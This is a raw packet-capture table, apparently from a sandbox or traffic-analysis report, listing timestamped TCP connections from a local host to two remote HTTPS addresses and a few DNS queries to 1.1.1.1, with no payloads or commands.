Jan 2, 2025 20:30:12.067033052 CET	50150	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:12.067924976 CET	50150	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:12.067950010 CET	443	50150	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:12.068451881 CET	50150	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:12.068464994 CET	443	50150	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:12.097342968 CET	443	50149	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.097434044 CET	50149	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.102401972 CET	50149	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.102416992 CET	443	50149	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.102657080 CET	443	50149	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.102710962 CET	50149	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.140045881 CET	50149	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.183329105 CET	443	50149	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.454519033 CET	443	50150	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:12.454718113 CET	50150	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:12.454725981 CET	443	50150	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:12.455008030 CET	443	50150	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:12.457196951 CET	50150	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:12.462588072 CET	50150	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:12.462618113 CET	443	50150	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:12.463509083 CET	50155	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:12.463538885 CET	443	50155	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:12.463603973 CET	50155	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:12.464061975 CET	50155	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:12.464072943 CET	443	50155	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:12.579144001 CET	443	50149	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.579204082 CET	443	50149	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.579205036 CET	50149	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.579225063 CET	443	50149	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.579243898 CET	50149	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.579279900 CET	50149	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.579284906 CET	443	50149	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.579332113 CET	443	50149	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.579339981 CET	50149	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.579386950 CET	50149	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.580060005 CET	50149	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.580079079 CET	443	50149	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.581232071 CET	50156	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.581275940 CET	443	50156	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.581481934 CET	50156	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.581617117 CET	50156	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.581631899 CET	443	50156	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.668287992 CET	443	50154	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.668368101 CET	50154	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.669095039 CET	50154	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.669106007 CET	443	50154	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.670906067 CET	50154	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:12.670911074 CET	443	50154	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:12.672187090 CET	443	50151	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:12.673261881 CET	50151	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:12.673261881 CET	50151	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:12.673290014 CET	443	50151	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:12.679158926 CET	50151	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:12.679169893 CET	443	50151	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.057961941 CET	443	50151	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.058125973 CET	50151	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.058317900 CET	50151	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.058378935 CET	443	50151	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.058464050 CET	50151	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.058861971 CET	50157	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.058914900 CET	443	50157	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.058974028 CET	50157	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.061043978 CET	50157	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.061058044 CET	443	50157	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.085309029 CET	443	50154	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:13.085359097 CET	443	50154	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:13.085369110 CET	50154	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.085391998 CET	443	50154	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:13.085406065 CET	50154	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.085439920 CET	50154	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.085450888 CET	443	50154	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:13.085485935 CET	50154	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.085500002 CET	443	50154	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:13.085532904 CET	50154	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.086467981 CET	50154	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.086481094 CET	443	50154	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:13.087332964 CET	50158	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.087361097 CET	443	50158	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:13.087555885 CET	50158	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.087764025 CET	50158	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.087773085 CET	443	50158	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:13.119515896 CET	443	50155	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.119653940 CET	50155	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.120942116 CET	443	50155	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.120999098 CET	50155	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.122997046 CET	50155	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.123007059 CET	443	50155	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.123266935 CET	443	50155	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.123333931 CET	50155	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.123830080 CET	50155	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.167326927 CET	443	50155	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.237427950 CET	443	50156	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:13.239172935 CET	50156	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.239172935 CET	50156	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.239172935 CET	50156	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.239193916 CET	443	50156	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:13.239207983 CET	443	50156	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:13.518800020 CET	443	50155	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.518871069 CET	50155	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.518893957 CET	443	50155	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.518985987 CET	50155	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.519167900 CET	50155	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.519203901 CET	443	50155	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.519258022 CET	50155	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.519814014 CET	50159	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.519860029 CET	443	50159	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.519912958 CET	50159	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.520183086 CET	50159	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.520194054 CET	443	50159	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.698694944 CET	443	50157	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.698759079 CET	50157	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.699846029 CET	443	50157	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.699914932 CET	50157	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.701798916 CET	50157	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.701807022 CET	443	50157	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.702099085 CET	443	50157	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.702208996 CET	50157	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.702639103 CET	50157	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.743331909 CET	443	50157	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.764269114 CET	443	50158	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:13.764327049 CET	50158	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.764967918 CET	50158	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.764977932 CET	443	50158	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:13.765253067 CET	50158	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.765259027 CET	443	50158	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:13.806462049 CET	50156	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.806540966 CET	50159	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.806571007 CET	50157	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.806601048 CET	50158	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.807180882 CET	50160	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.807229042 CET	443	50160	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:13.807292938 CET	50160	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.808629036 CET	50160	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:13.808646917 CET	443	50160	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:13.810496092 CET	50161	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.810527086 CET	443	50161	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.810686111 CET	50161	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.811769009 CET	50161	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.811780930 CET	443	50161	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.812426090 CET	50162	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.812459946 CET	443	50162	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:13.812606096 CET	50162	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.813909054 CET	50162	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:13.813919067 CET	443	50162	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:14.452747107 CET	443	50162	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:14.453037977 CET	50162	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.453375101 CET	50162	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.453383923 CET	443	50162	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:14.455256939 CET	50162	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.455260992 CET	443	50162	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:14.462512016 CET	443	50161	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:14.462569952 CET	50161	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.463135004 CET	50161	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.463135004 CET	50161	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.463141918 CET	443	50161	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:14.463152885 CET	443	50161	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:14.465186119 CET	443	50160	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:14.465274096 CET	50160	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:14.465574980 CET	50160	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:14.465581894 CET	443	50160	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:14.467387915 CET	50160	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:14.467396021 CET	443	50160	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:14.849359035 CET	443	50161	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:14.849484921 CET	50161	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.849503994 CET	443	50161	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:14.849680901 CET	50161	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.849877119 CET	50161	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.849908113 CET	443	50161	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:14.849994898 CET	50161	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.850739956 CET	50164	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:14.850774050 CET	443	50164	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:14.851144075 CET	50165	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.851176023 CET	443	50165	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:14.851193905 CET	50164	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:14.851221085 CET	50165	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.851449013 CET	50164	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:14.851460934 CET	443	50164	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:14.851703882 CET	50165	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.851715088 CET	443	50165	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:14.926594973 CET	443	50160	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:14.926645041 CET	443	50160	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:14.926662922 CET	50160	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:14.926697016 CET	443	50160	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:14.926708937 CET	50160	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:14.926742077 CET	50160	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:14.926750898 CET	443	50160	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:14.926770926 CET	443	50160	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:14.926795959 CET	50160	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:14.926820040 CET	50160	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:14.927793980 CET	50160	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:14.927807093 CET	443	50160	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:14.931432009 CET	443	50162	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:14.931493044 CET	50162	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.931638002 CET	50162	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.931669950 CET	443	50162	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:14.931839943 CET	443	50162	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:14.931942940 CET	50162	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.931942940 CET	50162	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.932380915 CET	50167	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:14.932400942 CET	443	50167	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:14.932478905 CET	50167	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:14.932631016 CET	50166	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.932673931 CET	443	50166	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:14.932730913 CET	50166	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.932857037 CET	50167	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:14.932866096 CET	443	50167	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:14.932995081 CET	50166	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:14.933007002 CET	443	50166	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.485888004 CET	443	50164	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:15.488202095 CET	50164	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:15.488723040 CET	50164	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:15.488739967 CET	443	50164	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:15.488960028 CET	50164	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:15.488974094 CET	443	50164	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:15.491637945 CET	443	50165	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.491719961 CET	50165	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.492417097 CET	443	50165	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.492468119 CET	50165	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.494550943 CET	50165	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.494563103 CET	443	50165	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.494858980 CET	443	50165	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.494945049 CET	50165	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.495414019 CET	50165	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.543338060 CET	443	50165	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.574760914 CET	443	50167	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:15.574815989 CET	50167	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:15.575330973 CET	50167	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:15.575336933 CET	443	50167	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:15.575829029 CET	50167	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:15.575839043 CET	443	50167	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:15.590496063 CET	443	50166	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.590574980 CET	50166	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.591255903 CET	443	50166	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.591310978 CET	50166	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.593060970 CET	50166	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.593070984 CET	443	50166	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.593316078 CET	443	50166	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.593354940 CET	50166	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.593672037 CET	50166	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.639333963 CET	443	50166	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.883900881 CET	443	50165	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.883975029 CET	443	50165	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.883977890 CET	50165	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.884078979 CET	50165	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.901578903 CET	50165	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.901602983 CET	443	50165	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.902622938 CET	50170	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.902714014 CET	443	50170	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.902810097 CET	50170	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.903347969 CET	50170	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.903383970 CET	443	50170	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.980974913 CET	443	50166	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.981053114 CET	50166	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.981071949 CET	443	50166	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.981303930 CET	50166	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.981360912 CET	50166	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.981401920 CET	443	50166	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.981568098 CET	443	50166	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.981617928 CET	50166	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.981631041 CET	50166	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.982152939 CET	50171	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.982193947 CET	443	50171	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:15.982295036 CET	50171	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.982893944 CET	50171	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:15.982918978 CET	443	50171	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:16.046380997 CET	443	50164	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.046431065 CET	443	50164	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.046474934 CET	50164	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.046474934 CET	50164	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.046499968 CET	443	50164	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.046555042 CET	443	50164	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.046611071 CET	50164	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.047178030 CET	50164	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.047192097 CET	443	50164	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.048126936 CET	50172	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.048161030 CET	443	50172	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.049236059 CET	50172	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.049526930 CET	50172	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.049541950 CET	443	50172	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.063832998 CET	443	50167	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.063891888 CET	443	50167	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.063919067 CET	50167	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.063936949 CET	443	50167	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.063950062 CET	50167	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.064024925 CET	50167	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.064095020 CET	443	50167	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.064146042 CET	443	50167	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.064202070 CET	50167	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.064766884 CET	50167	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.064795971 CET	443	50167	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.064804077 CET	50167	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.065068007 CET	50167	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.065478086 CET	50173	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.065509081 CET	443	50173	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.065572977 CET	50173	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.065818071 CET	50173	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.065835953 CET	443	50173	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.528628111 CET	443	50170	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:16.528706074 CET	50170	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:16.529423952 CET	443	50170	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:16.529489040 CET	50170	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:16.631356001 CET	443	50171	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:16.631449938 CET	50171	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:16.632086992 CET	443	50171	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:16.632159948 CET	50171	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:16.684520960 CET	443	50172	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.684658051 CET	50172	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:16.724069118 CET	443	50173	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:16.724184036 CET	50173	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:28.614240885 CET	50173	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:28.614280939 CET	443	50173	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:28.614573002 CET	50172	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:28.614607096 CET	443	50172	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:28.616995096 CET	50172	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:28.617013931 CET	443	50172	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:28.618006945 CET	50173	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:28.618037939 CET	443	50173	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:28.621866941 CET	50171	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:28.621900082 CET	443	50171	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:28.622220039 CET	443	50171	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:28.622281075 CET	50171	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:28.962318897 CET	443	50173	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:28.962369919 CET	443	50173	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:28.962482929 CET	50173	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:28.962487936 CET	443	50173	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:28.962527990 CET	50173	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:29.109972000 CET	443	50172	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:29.110027075 CET	443	50172	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:29.110124111 CET	443	50172	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:29.110126972 CET	50172	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:29.110126972 CET	50172	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:29.110215902 CET	50172	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:35.341027975 CET	49797	80	192.168.2.9	69.42.215.252
Jan 2, 2025 20:30:35.343728065 CET	50171	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:35.343796968 CET	50172	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:35.343863010 CET	50170	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:35.343887091 CET	50173	443	192.168.2.9	216.58.206.65

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 20:29:36.022766113 CET	61144	53	192.168.2.9	1.1.1.1
Jan 2, 2025 20:29:36.029284000 CET	53	61144	1.1.1.1	192.168.2.9
Jan 2, 2025 20:29:36.838140011 CET	50467	53	192.168.2.9	1.1.1.1
